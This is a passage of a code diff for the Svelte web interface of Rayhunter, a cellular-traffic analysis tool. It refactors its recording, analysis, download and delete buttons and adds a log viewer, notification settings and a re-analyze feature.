d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm11-4a1 1 0 1 0-2 0v5a1 1 0 1 0 2 0V8Zm-1 7a1 1 0 1 0 0 2h.01a1 1 0 1 0 0-2H12Z"
|
||||
clip-rule="evenodd"
|
||||
/>
|
||||
</svg>
|
||||
Error Completing Action {current_error.times > 1 ? `x${current_error.times}` : ''}
|
||||
</span>
|
||||
<div class="flex items-center mb-2">
|
||||
{#if action_errors.length > 1}
|
||||
<span>{pos + 1}/{action_errors.length}</span>
|
||||
<button title="previous error" aria-label="previous error" onclick={prev_error}>
|
||||
<svg
|
||||
aria-hidden="true"
|
||||
width="24"
|
||||
height="24"
|
||||
fill="none"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
stroke="currentColor"
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
stroke-width="2"
|
||||
d="m 15.499979,19.499979 -6.9999997,-7 6.9999997,-6.9999997"
|
||||
/>
|
||||
</svg>
|
||||
</button>
|
||||
<button title="next error" aria-label="next error" onclick={next_error}>
|
||||
<svg
|
||||
aria-hidden="true"
|
||||
width="24"
|
||||
height="24"
|
||||
fill="none"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
stroke="currentColor"
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
stroke-width="2"
|
||||
d="m 8.5000207,5.4999793 7.0000003,6.9999997 -7.0000003,7"
|
||||
/>
|
||||
</svg>
|
||||
</button>
|
||||
{/if}
|
||||
<button title="clear errors" aria-label="clear errors" onclick={clear_errors}>
|
||||
<svg style="width:24px;height:24px" viewBox="0 0 24 24">
|
||||
<path
|
||||
d="M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19M6,19A2,2 0 0,0 8,21H16A2,2 0 0,0 18,19V7H6V19Z"
|
||||
/>
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
<span>{current_error.message}</span>
|
||||
{#if current_error.cause}
|
||||
<details>
|
||||
<summary>Details</summary>
|
||||
<code>{current_error.cause}</code>
|
||||
</details>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
@@ -35,15 +35,43 @@
|
||||
return finished && report_available;
|
||||
});
|
||||
|
||||
let button_class = $derived(ready ? 'text-blue-600 border rounded-full px-2' : '');
|
||||
let button_class = $derived.by(() => {
|
||||
if (!ready) {
|
||||
return 'text-gray-700';
|
||||
} else if ((entry.get_num_warnings() || 0) < 1) {
|
||||
return 'text-green-700 border-green-500 bg-green-200 text-blue-600 border rounded-full px-2';
|
||||
} else {
|
||||
return 'text-red-700 border-red-500 bg-red-200 text-blue-600 border rounded-full px-2';
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
<button class="flex flex-row gap-1 lg:gap-2" disabled={!ready} {onclick}>
|
||||
<span
|
||||
class="{button_class} {(entry.get_num_warnings() || 0) < 1
|
||||
? 'text-green-700 border-green-500 bg-green-200'
|
||||
: 'text-red-700 border-red-500 bg-red-200'}">{summary}</span
|
||||
>
|
||||
<span class="flex flex-row items-center gap-1">
|
||||
{#if entry.analysis_status === AnalysisStatus.Queued || entry.analysis_status === AnalysisStatus.Running || (entry.analysis_status === AnalysisStatus.Finished && entry.analysis_report === undefined)}
|
||||
<svg
|
||||
class="animate-spin h-4 w-4 text-blue-600"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
fill="none"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<circle
|
||||
class="opacity-25"
|
||||
cx="12"
|
||||
cy="12"
|
||||
r="10"
|
||||
stroke="currentColor"
|
||||
stroke-width="4"
|
||||
></circle>
|
||||
<path
|
||||
class="opacity-75"
|
||||
fill="currentColor"
|
||||
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"
|
||||
></path>
|
||||
</svg>
|
||||
{/if}
|
||||
<span class={button_class}>{summary}</span>
|
||||
</span>
|
||||
<svg
|
||||
class="w-6 h-6 text-gray-800 transition-transform {analysis_visible ? 'rotate-180' : ''}"
|
||||
aria-hidden="true"
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
<script lang="ts">
|
||||
import { AnalysisRowType, EventType, type AnalysisReport } from '$lib/analysis.svelte';
|
||||
import { AnalysisRowType, type AnalysisReport } from '$lib/analysis.svelte';
|
||||
let {
|
||||
report,
|
||||
}: {
|
||||
@@ -33,7 +33,7 @@
|
||||
{#if report.statistics.num_warnings === 0 && report.statistics.num_informational_logs === 0}
|
||||
<p>Nothing to show!</p>
|
||||
{:else}
|
||||
<div class="overflow-x-scroll">
|
||||
<div class="overflow-x-auto">
|
||||
<table class="table-auto text-left">
|
||||
<thead class="p-2">
|
||||
<tr class="bg-gray-300">
|
||||
@@ -47,29 +47,24 @@
|
||||
{#each report.rows as row}
|
||||
{#if row.type === AnalysisRowType.Analysis}
|
||||
{@const parsed_date = new Date(row.packet_timestamp)}
|
||||
{#each row.events.filter((e) => e !== null) as event, i}
|
||||
{@const analyzer = analyzers[i]}
|
||||
<tr class="even:bg-gray-200 odd:bg-white">
|
||||
{#if event.type === EventType.Warning}
|
||||
{@const severity = ['Low', 'Medium', 'High'][
|
||||
event.severity
|
||||
]}
|
||||
{@const severity_class = [
|
||||
'bg-red-200',
|
||||
'bg-red-400',
|
||||
'bg-red-600',
|
||||
][event.severity]}
|
||||
{#each row.events as event, analyzerIndex}
|
||||
{#if event !== null}
|
||||
{@const analyzer = analyzers[analyzerIndex]}
|
||||
{@const event_type_class = {
|
||||
Informational: '',
|
||||
Low: 'bg-yellow-200',
|
||||
Medium: 'bg-orange-400',
|
||||
High: 'bg-red-600',
|
||||
}[event.event_type]}
|
||||
<tr class="even:bg-gray-200 odd:bg-white">
|
||||
<td class="p-2">{date_formatter.format(parsed_date)}</td>
|
||||
<td class="p-2">{analyzer.name} v{analyzer.version}</td>
|
||||
<td class="p-2">{event.message}</td>
|
||||
<td class="p-2 {severity_class} text-center">{severity}</td>
|
||||
{:else if event.type === EventType.Informational}
|
||||
<td class="p-2">{date_formatter.format(parsed_date)}</td>
|
||||
<td class="p-2">{analyzer.name} v{analyzer.version}</td>
|
||||
<td class="p-2">{event.message}</td>
|
||||
<td class="p-2">Info</td>
|
||||
{/if}
|
||||
</tr>
|
||||
<td class="p-2 {event_type_class} text-center"
|
||||
>{event.event_type}</td
|
||||
>
|
||||
</tr>
|
||||
{/if}
|
||||
{/each}
|
||||
{/if}
|
||||
{/each}
|
||||
@@ -82,10 +77,10 @@
|
||||
<div>
|
||||
<p class="text-lg underline">Unparsed Messages</p>
|
||||
<p>
|
||||
These are due to a limitation or bug in Rayhunter's parser, and aren't ususally a
|
||||
These are due to a limitation or bug in Rayhunter's parser, and aren't usually a
|
||||
problem.
|
||||
</p>
|
||||
<div class="overflow-x-scroll">
|
||||
<div class="overflow-x-auto">
|
||||
<table class="table-auto text-left">
|
||||
<thead class="p-2">
|
||||
<tr class="bg-gray-300">
|
||||
|
||||
@@ -1,11 +1,17 @@
|
||||
<script lang="ts">
|
||||
import { type ReportMetadata } from '$lib/analysis.svelte';
|
||||
import type { ManifestEntry } from '$lib/manifest.svelte';
|
||||
import { AnalysisManager } from '$lib/analysisManager.svelte';
|
||||
import AnalysisTable from './AnalysisTable.svelte';
|
||||
import ReAnalyzeButton from './ReAnalyzeButton.svelte';
|
||||
let {
|
||||
entry,
|
||||
manager,
|
||||
current,
|
||||
}: {
|
||||
entry: ManifestEntry;
|
||||
manager: AnalysisManager;
|
||||
current: boolean;
|
||||
} = $props();
|
||||
</script>
|
||||
|
||||
@@ -17,6 +23,11 @@
|
||||
{:else}
|
||||
{@const metadata: ReportMetadata = entry.analysis_report.metadata}
|
||||
<div class="flex flex-col gap-2">
|
||||
{#if !current}
|
||||
<div class="flex flex-row justify-end items-center">
|
||||
<ReAnalyzeButton {entry} {manager} />
|
||||
</div>
|
||||
{/if}
|
||||
{#if entry.analysis_report.rows.length > 0}
|
||||
<AnalysisTable report={entry.analysis_report} />
|
||||
{:else}
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
<script lang="ts">
|
||||
import { user_action_req } from '$lib/utils.svelte';
|
||||
|
||||
let {
|
||||
url,
|
||||
method = 'POST',
|
||||
label,
|
||||
loadingLabel,
|
||||
disabled = false,
|
||||
variant = 'blue',
|
||||
icon,
|
||||
onclick,
|
||||
ariaLabel,
|
||||
errorMessage,
|
||||
}: {
|
||||
url: string;
|
||||
method?: string;
|
||||
label: string;
|
||||
loadingLabel?: string;
|
||||
disabled?: boolean;
|
||||
variant?: 'blue' | 'red' | 'green';
|
||||
icon?: any; // Svelte snippet
|
||||
onclick?: () => void | Promise<void>;
|
||||
ariaLabel?: string;
|
||||
errorMessage?: string;
|
||||
} = $props();
|
||||
|
||||
let is_requesting = $state(false);
|
||||
let is_disabled = $derived(disabled || is_requesting);
|
||||
|
||||
const variantClasses = {
|
||||
blue: {
|
||||
enabled: 'bg-blue-500 hover:bg-blue-700',
|
||||
disabled: 'bg-blue-500 opacity-50 cursor-not-allowed',
|
||||
},
|
||||
red: {
|
||||
enabled: 'bg-red-500 hover:bg-red-700',
|
||||
disabled: 'bg-red-500 opacity-50 cursor-not-allowed',
|
||||
},
|
||||
green: {
|
||||
enabled: 'bg-green-500 hover:bg-green-700',
|
||||
disabled: 'bg-green-500 opacity-50 cursor-not-allowed',
|
||||
},
|
||||
};
|
||||
|
||||
async function handleClick() {
|
||||
if (is_disabled) return;
|
||||
|
||||
is_requesting = true;
|
||||
try {
|
||||
await user_action_req(
|
||||
method,
|
||||
url,
|
||||
errorMessage ? errorMessage : 'Error performing action'
|
||||
);
|
||||
if (onclick) {
|
||||
await onclick();
|
||||
}
|
||||
} catch (err) {
|
||||
console.error(`Failed to ${method} ${url}:`, err);
|
||||
alert(`Request failed. Please try again.`);
|
||||
} finally {
|
||||
is_requesting = false;
|
||||
}
|
||||
}
|
||||
|
||||
let buttonClasses = $derived(
|
||||
is_disabled ? variantClasses[variant].disabled : variantClasses[variant].enabled
|
||||
);
|
||||
</script>
|
||||
|
||||
<button
|
||||
class="text-white font-bold py-2 px-2 sm:px-4 rounded-md flex flex-row items-center gap-1 {buttonClasses}"
|
||||
onclick={handleClick}
|
||||
disabled={is_disabled}
|
||||
aria-label={ariaLabel || label}
|
||||
>
|
||||
<span>{is_requesting && loadingLabel ? loadingLabel : label}</span>
|
||||
{#if is_requesting}
|
||||
<svg
|
||||
class="w-4 h-4 text-white animate-spin"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
fill="none"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"
|
||||
></circle>
|
||||
<path
|
||||
class="opacity-75"
|
||||
fill="currentColor"
|
||||
d="m4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"
|
||||
></path>
|
||||
</svg>
|
||||
{:else if icon}
|
||||
{@render icon()}
|
||||
{/if}
|
||||
</button>
|
||||
@@ -125,6 +125,56 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="border-t pt-4 mt-6 space-y-3">
|
||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">Notification Settings</h3>
|
||||
<div>
|
||||
<label for="ntfy_url" class="block text-sm font-medium text-gray-700 mb-1">
|
||||
ntfy URL for Sending Notifications (if unset you will not receive
|
||||
notifications)
|
||||
</label>
|
||||
<input
|
||||
id="ntfy_url"
|
||||
type="url"
|
||||
bind:value={config.ntfy_url}
|
||||
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="space-y-2">
|
||||
<div class="block text-sm font-medium text-gray-700 mb-1">
|
||||
Enabled Notification Types
|
||||
</div>
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
type="checkbox"
|
||||
id="enable_warning_notifications"
|
||||
value="Warning"
|
||||
bind:group={config.enabled_notifications}
|
||||
/>
|
||||
<label
|
||||
for="enable_warning_notifications"
|
||||
class="ml-2 block text-sm text-gray-700"
|
||||
>
|
||||
Warnings
|
||||
</label>
|
||||
</div>
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
type="checkbox"
|
||||
id="enable_lowbattery_notifications"
|
||||
value="LowBattery"
|
||||
bind:group={config.enabled_notifications}
|
||||
/>
|
||||
<label
|
||||
for="enable_lowbattery_notifications"
|
||||
class="ml-2 block text-sm text-gray-700"
|
||||
>
|
||||
Low Battery
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="border-t pt-4 mt-6">
|
||||
<h3 class="text-lg font-semibold text-gray-800 mb-4">
|
||||
Analyzer Heuristic Settings
|
||||
@@ -203,10 +253,22 @@
|
||||
bind:checked={config.analyzers.incomplete_sib}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
/>
|
||||
<label for="nas_null_cipher" class="ml-2 block text-sm text-gray-700">
|
||||
<label for="incomplete_sib" class="ml-2 block text-sm text-gray-700">
|
||||
Incomplete SIB Heuristic
|
||||
</label>
|
||||
</div>
|
||||
|
||||
<div class="flex items-center">
|
||||
<input
|
||||
id="test_analyzer"
|
||||
type="checkbox"
|
||||
bind:checked={config.analyzers.test_analyzer}
|
||||
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
|
||||
/>
|
||||
<label for="test_analyzer" class="ml-2 block text-sm text-gray-700">
|
||||
Test Heuristic (noisey!)
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -7,5 +7,6 @@
|
||||
text="Delete ALL Recordings"
|
||||
prompt={`Are you sure you want to delete ALL recordings?`}
|
||||
url={`/api/delete-all-recordings`}
|
||||
name="all recodings"
|
||||
/>
|
||||
</div>
|
||||
|
||||
@@ -1,18 +1,20 @@
|
||||
<script lang="ts">
|
||||
import { req } from '$lib/utils.svelte';
|
||||
import { user_action_req } from '$lib/utils.svelte';
|
||||
let {
|
||||
text,
|
||||
url,
|
||||
prompt,
|
||||
name,
|
||||
}: {
|
||||
text?: string;
|
||||
url: string;
|
||||
prompt: string;
|
||||
name: string;
|
||||
} = $props();
|
||||
|
||||
function confirmDelete() {
|
||||
if (window.confirm(prompt)) {
|
||||
req('POST', url);
|
||||
user_action_req('POST', url, 'Unable to delete recording ' + name);
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
@@ -8,20 +8,16 @@
|
||||
text: string;
|
||||
full_button?: boolean;
|
||||
} = $props();
|
||||
|
||||
function download() {
|
||||
window.location.href = url;
|
||||
}
|
||||
</script>
|
||||
|
||||
<button
|
||||
<a
|
||||
href={url}
|
||||
class="flex flex-row {full_button
|
||||
? 'bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-2 sm:px-4 rounded-md'
|
||||
: 'text-blue-600 underline'}"
|
||||
onclick={download}
|
||||
>
|
||||
{text}
|
||||
<svg class="fill-current w-4 h-4 m-1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20">
|
||||
<path d="M13 8V2H7v6H2l8 8 8-8h-5zM0 18h20v2H0v-2z" />
|
||||
</svg>
|
||||
</button>
|
||||
</a>
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
<script lang="ts">
|
||||
import { get_logs } from '$lib/utils.svelte';
|
||||
import { onMount } from 'svelte';
|
||||
|
||||
let { shown = $bindable() }: { shown: boolean } = $props();
|
||||
let content: string | undefined = $state(undefined);
|
||||
|
||||
onMount(() => {
|
||||
// Used by LogView modal
|
||||
window.addEventListener('scroll', () => {
|
||||
document.documentElement.style.setProperty('--scroll-y', `${window.scrollY}px`);
|
||||
});
|
||||
});
|
||||
|
||||
$effect(() => {
|
||||
if (shown) {
|
||||
const scrollY = document.documentElement.style.getPropertyValue('--scroll-y');
|
||||
const body = document.body;
|
||||
body.style.position = 'fixed';
|
||||
body.style.top = `-${scrollY}`;
|
||||
} else {
|
||||
const body = document.body;
|
||||
const scrollY = body.style.top;
|
||||
body.style.position = '';
|
||||
body.style.top = '';
|
||||
window.scrollTo(0, parseInt(scrollY || '0') * -1);
|
||||
}
|
||||
|
||||
const interval = setInterval(async () => {
|
||||
try {
|
||||
// Don't update UI if browser tab isn't visible
|
||||
if (content !== undefined && (document.hidden || !shown)) {
|
||||
return;
|
||||
}
|
||||
content = await get_logs();
|
||||
} catch (error) {
|
||||
console.log(error);
|
||||
}
|
||||
}, 1000);
|
||||
|
||||
return () => clearInterval(interval);
|
||||
});
|
||||
</script>
|
||||
|
||||
{#if shown}
|
||||
<div
|
||||
class="fixed left-5 right-5 top-5 bottom-5 z-50 bg-white border border-white rounded-md
|
||||
flex flex-col p-2 drop-shadow"
|
||||
>
|
||||
<div class="flex h-20 justify-between items-center p-1">
|
||||
<span class="text-2xl mb-2">Log</span>
|
||||
<button onclick={() => (shown = false)} aria-label="close">
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
aria-hidden="true"
|
||||
width="24"
|
||||
height="24"
|
||||
fill="currentColor"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
fill-rule="evenodd"
|
||||
clip-rule="evenodd"
|
||||
d="M5.29289 5.29289C5.68342 4.90237 6.31658 4.90237 6.70711 5.29289L12 10.5858L17.2929 5.29289C17.6834 4.90237 18.3166 4.90237 18.7071 5.29289C19.0976 5.68342 19.0976 6.31658 18.7071 6.70711L13.4142 12L18.7071 17.2929C19.0976 17.6834 19.0976 18.3166 18.7071 18.7071C18.3166 19.0976 17.6834 19.0976 17.2929 18.7071L12 13.4142L6.70711 18.7071C6.31658 19.0976 5.68342 19.0976 5.29289 18.7071C4.90237 18.3166 4.90237 17.6834 5.29289 17.2929L10.5858 12L5.29289 6.70711C4.90237 6.31658 4.90237 5.68342 5.29289 5.29289Z"
|
||||
fill="#0F1729"
|
||||
/>
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
<div class="bg-gray-100 border border-gray-100 rounded-md overflow-scroll">
|
||||
<pre class="m-2">{content}</pre>
|
||||
</div>
|
||||
</div>
|
||||
{/if}
|
||||
@@ -1,5 +1,6 @@
|
||||
<script lang="ts">
|
||||
import { ManifestEntry } from '$lib/manifest.svelte';
|
||||
import { AnalysisManager } from '$lib/analysisManager.svelte';
|
||||
import DownloadLink from '$lib/components/DownloadLink.svelte';
|
||||
import DeleteButton from '$lib/components/DeleteButton.svelte';
|
||||
import AnalysisStatus from './AnalysisStatus.svelte';
|
||||
@@ -9,10 +10,12 @@
|
||||
entry,
|
||||
current,
|
||||
server_is_recording,
|
||||
manager,
|
||||
}: {
|
||||
entry: ManifestEntry;
|
||||
current: boolean;
|
||||
server_is_recording: boolean;
|
||||
manager: AnalysisManager;
|
||||
} = $props();
|
||||
|
||||
// passing `undefined` as the locale uses the browser default
|
||||
@@ -41,7 +44,7 @@
|
||||
</script>
|
||||
|
||||
<div
|
||||
class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-scroll overflow-y-hidden"
|
||||
class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-auto overflow-y-hidden"
|
||||
>
|
||||
{#if current}
|
||||
<div class="flex flex-row justify-between gap-2">
|
||||
@@ -78,7 +81,7 @@
|
||||
'N/A'}</span
|
||||
>
|
||||
</div>
|
||||
<div class="flex flex-row justify-between lg:justify-end gap-1 mt-2 overflow-x-scroll">
|
||||
<div class="flex flex-row justify-between lg:justify-end gap-1 mt-2 overflow-x-auto">
|
||||
<DownloadLink url={entry.get_pcap_url()} text="pcap" full_button />
|
||||
<DownloadLink url={entry.get_qmdl_url()} text="qmdl" full_button />
|
||||
<DownloadLink url={entry.get_zip_url()} text="zip" full_button />
|
||||
@@ -88,10 +91,11 @@
|
||||
<DeleteButton
|
||||
prompt={`Are you sure you want to delete entry ${entry.name}?`}
|
||||
url={entry.get_delete_url()}
|
||||
name={entry.name}
|
||||
/>
|
||||
{/if}
|
||||
</div>
|
||||
<div class="border-b {analysis_visible ? '' : 'hidden'}">
|
||||
<AnalysisView {entry} />
|
||||
<AnalysisView {entry} {manager} {current} />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
<script lang="ts">
|
||||
import { ManifestEntry } from '$lib/manifest.svelte';
|
||||
import { AnalysisManager } from '$lib/analysisManager.svelte';
|
||||
import TableRow from './ManifestTableRow.svelte';
|
||||
import Card from './ManifestCard.svelte';
|
||||
interface Props {
|
||||
entries: ManifestEntry[];
|
||||
server_is_recording: boolean;
|
||||
manager: AnalysisManager;
|
||||
}
|
||||
let { entries, server_is_recording }: Props = $props();
|
||||
let { entries, server_is_recording, manager }: Props = $props();
|
||||
</script>
|
||||
|
||||
<!--For larger screens we use a table-->
|
||||
@@ -17,22 +19,20 @@
|
||||
<th class="p-2" scope="col">Started</th>
|
||||
<th class="p-2" scope="col">Last Message</th>
|
||||
<th class="p-2" scope="col">Size</th>
|
||||
<th class="p-2" scope="col">PCAP</th>
|
||||
<th class="p-2" scope="col">QMDL</th>
|
||||
<th class="p-2" scope="col">ZIP</th>
|
||||
<th class="p-2" scope="col">Download</th>
|
||||
<th class="p-2" scope="col">Analysis</th>
|
||||
<th class="p-2" scope="col"></th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{#each entries as entry, i}
|
||||
<TableRow {entry} current={false} {i} />
|
||||
<TableRow {entry} current={false} {i} {manager} />
|
||||
{/each}
|
||||
</tbody>
|
||||
</table>
|
||||
<!--For smaller screens we use cards-->
|
||||
<div class="lg:hidden flex flex-col gap-4">
|
||||
{#each entries as entry}
|
||||
<Card {entry} current={false} {server_is_recording} />
|
||||
<Card {entry} current={false} {server_is_recording} {manager} />
|
||||
{/each}
|
||||
</div>
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
<script lang="ts">
|
||||
import { ManifestEntry } from '$lib/manifest.svelte';
|
||||
import { AnalysisManager } from '$lib/analysisManager.svelte';
|
||||
import DownloadLink from '$lib/components/DownloadLink.svelte';
|
||||
import DeleteButton from '$lib/components/DeleteButton.svelte';
|
||||
import AnalysisStatus from './AnalysisStatus.svelte';
|
||||
@@ -8,10 +9,12 @@
|
||||
entry,
|
||||
current,
|
||||
i,
|
||||
manager,
|
||||
}: {
|
||||
entry: ManifestEntry;
|
||||
current: boolean;
|
||||
i: number;
|
||||
manager: AnalysisManager;
|
||||
} = $props();
|
||||
|
||||
// passing `undefined` as the locale uses the browser default
|
||||
@@ -40,9 +43,13 @@
|
||||
>{(entry.last_message_time && date_formatter.format(entry.last_message_time)) || 'N/A'}</td
|
||||
>
|
||||
<td class="p-2">{entry.get_readable_qmdl_size()}</td>
|
||||
<td class="p-2"><DownloadLink url={entry.get_pcap_url()} text="pcap" /></td>
|
||||
<td class="p-2"><DownloadLink url={entry.get_qmdl_url()} text="qmdl" /></td>
|
||||
<td class="p-2"><DownloadLink url={entry.get_zip_url()} text="zip" /></td>
|
||||
<td class="p-2">
|
||||
<div class="flex flex-row gap-2">
|
||||
<DownloadLink url={entry.get_pcap_url()} text="pcap" />
|
||||
<DownloadLink url={entry.get_qmdl_url()} text="qmdl" />
|
||||
<DownloadLink url={entry.get_zip_url()} text="zip" />
|
||||
</div>
|
||||
</td>
|
||||
<td class="p-2"
|
||||
><AnalysisStatus onclick={toggle_analysis_visibility} {entry} {analysis_visible} /></td
|
||||
>
|
||||
@@ -53,12 +60,13 @@
|
||||
<DeleteButton
|
||||
prompt={`Are you sure you want to delete entry ${entry.name}?`}
|
||||
url={entry.get_delete_url()}
|
||||
name={entry.name}
|
||||
/>
|
||||
</td>
|
||||
{/if}
|
||||
</tr>
|
||||
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}">
|
||||
<td class="border-t border-dashed p-2" colspan="9">
|
||||
<AnalysisView {entry} />
|
||||
<AnalysisView {entry} {manager} {current} />
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
<script lang="ts">
|
||||
import ApiRequestButton from './ApiRequestButton.svelte';
|
||||
import { AnalysisStatus, AnalysisManager } from '$lib/analysisManager.svelte';
|
||||
import type { ManifestEntry } from '$lib/manifest.svelte';
|
||||
|
||||
let {
|
||||
entry,
|
||||
manager,
|
||||
}: {
|
||||
entry: ManifestEntry;
|
||||
manager: AnalysisManager;
|
||||
} = $props();
|
||||
|
||||
let url = $derived(entry.get_reanalyze_url());
|
||||
let entry_name = $derived(entry.name);
|
||||
let analysis_status = $derived(entry.analysis_status);
|
||||
|
||||
let is_processing = $derived(
|
||||
analysis_status === AnalysisStatus.Queued || analysis_status === AnalysisStatus.Running
|
||||
);
|
||||
|
||||
async function handleReAnalyze() {
|
||||
// Update the entry directly for immediate UI feedback
|
||||
entry.analysis_status = AnalysisStatus.Queued;
|
||||
entry.analysis_report = undefined;
|
||||
manager.set_queued_status(entry_name);
|
||||
}
|
||||
</script>
|
||||
|
||||
<ApiRequestButton
|
||||
{url}
|
||||
label="Re-analyze"
|
||||
loadingLabel="Analyzing..."
|
||||
disabled={is_processing}
|
||||
variant="blue"
|
||||
onclick={handleReAnalyze}
|
||||
ariaLabel="re-analyze"
|
||||
errorMessage="Error re-analyzing recoding"
|
||||
>
|
||||
{#snippet icon()}
|
||||
<svg style="width:20px;height:20px" viewBox="0 0 24 24">
|
||||
<path
|
||||
fill="white"
|
||||
d="M12,18A6,6 0 0,1 6,12C6,11 6.25,10.03 6.7,9.2L5.24,7.74C4.46,8.97 4,10.43 4,12A8,8 0 0,0 12,20V23L16,19L12,15M12,4V1L8,5L12,9V6A6,6 0 0,1 18,12C18,13 17.75,13.97 17.3,14.8L18.76,16.26C19.54,15.03 20,13.57 20,12A8,8 0 0,0 12,4Z"
|
||||
/>
|
||||
</svg>
|
||||
{/snippet}
|
||||
</ApiRequestButton>
|
||||
@@ -1,100 +1,60 @@
|
||||
<script lang="ts">
|
||||
import { req } from '$lib/utils.svelte';
|
||||
import ApiRequestButton from './ApiRequestButton.svelte';
|
||||
let {
|
||||
server_is_recording,
|
||||
}: {
|
||||
server_is_recording: boolean;
|
||||
} = $props();
|
||||
|
||||
let client_set_recording = $state(server_is_recording);
|
||||
let waiting_for_server = $derived(client_set_recording !== server_is_recording);
|
||||
|
||||
async function start_recording() {
|
||||
await req('POST', '/api/start-recording');
|
||||
client_set_recording = true;
|
||||
}
|
||||
|
||||
async function stop_recording() {
|
||||
await req('POST', '/api/stop-recording');
|
||||
client_set_recording = false;
|
||||
}
|
||||
|
||||
const recording_button_classes =
|
||||
'text-white font-bold py-2 px-2 sm:px-4 rounded-md flex flex-row gap-1';
|
||||
const stop_recording_classes = `${recording_button_classes} bg-red-500 opacity-50 cursor-not-allowed`;
|
||||
const start_recording_classes = `${recording_button_classes} bg-blue-500 opacity-50 cursor-not-allowed`;
|
||||
</script>
|
||||
|
||||
<div>
|
||||
{#if waiting_for_server}
|
||||
<button
|
||||
class={server_is_recording ? stop_recording_classes : start_recording_classes}
|
||||
disabled
|
||||
{#if server_is_recording}
|
||||
<ApiRequestButton
|
||||
url="/api/stop-recording"
|
||||
label="Stop"
|
||||
variant="red"
|
||||
errorMessage="Error stoppping recording"
|
||||
>
|
||||
<span>{server_is_recording ? 'Stopping...' : 'Starting...'}</span>
|
||||
<svg
|
||||
class="w-4 h-4 text-white animate-spin"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
fill="none"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<circle
|
||||
class="opacity-25"
|
||||
cx="12"
|
||||
cy="12"
|
||||
r="10"
|
||||
stroke="currentColor"
|
||||
stroke-width="4"
|
||||
></circle>
|
||||
<path
|
||||
class="opacity-75"
|
||||
{#snippet icon()}
|
||||
<svg
|
||||
class="w-6 h-6 text-white"
|
||||
aria-hidden="true"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="24"
|
||||
height="24"
|
||||
fill="currentColor"
|
||||
d="m4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"
|
||||
></path>
|
||||
</svg>
|
||||
</button>
|
||||
{:else if server_is_recording}
|
||||
<button
|
||||
class="{recording_button_classes} bg-red-500 hover:bg-red-700"
|
||||
onclick={stop_recording}
|
||||
>
|
||||
<span>Stop</span>
|
||||
<svg
|
||||
class="w-6 h-6 text-white"
|
||||
aria-hidden="true"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="24"
|
||||
height="24"
|
||||
fill="currentColor"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path d="M7 5a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V7a2 2 0 0 0-2-2H7Z" />
|
||||
</svg>
|
||||
</button>
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
d="M7 5a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V7a2 2 0 0 0-2-2H7Z"
|
||||
/>
|
||||
</svg>
|
||||
{/snippet}
|
||||
</ApiRequestButton>
|
||||
{:else}
|
||||
<button
|
||||
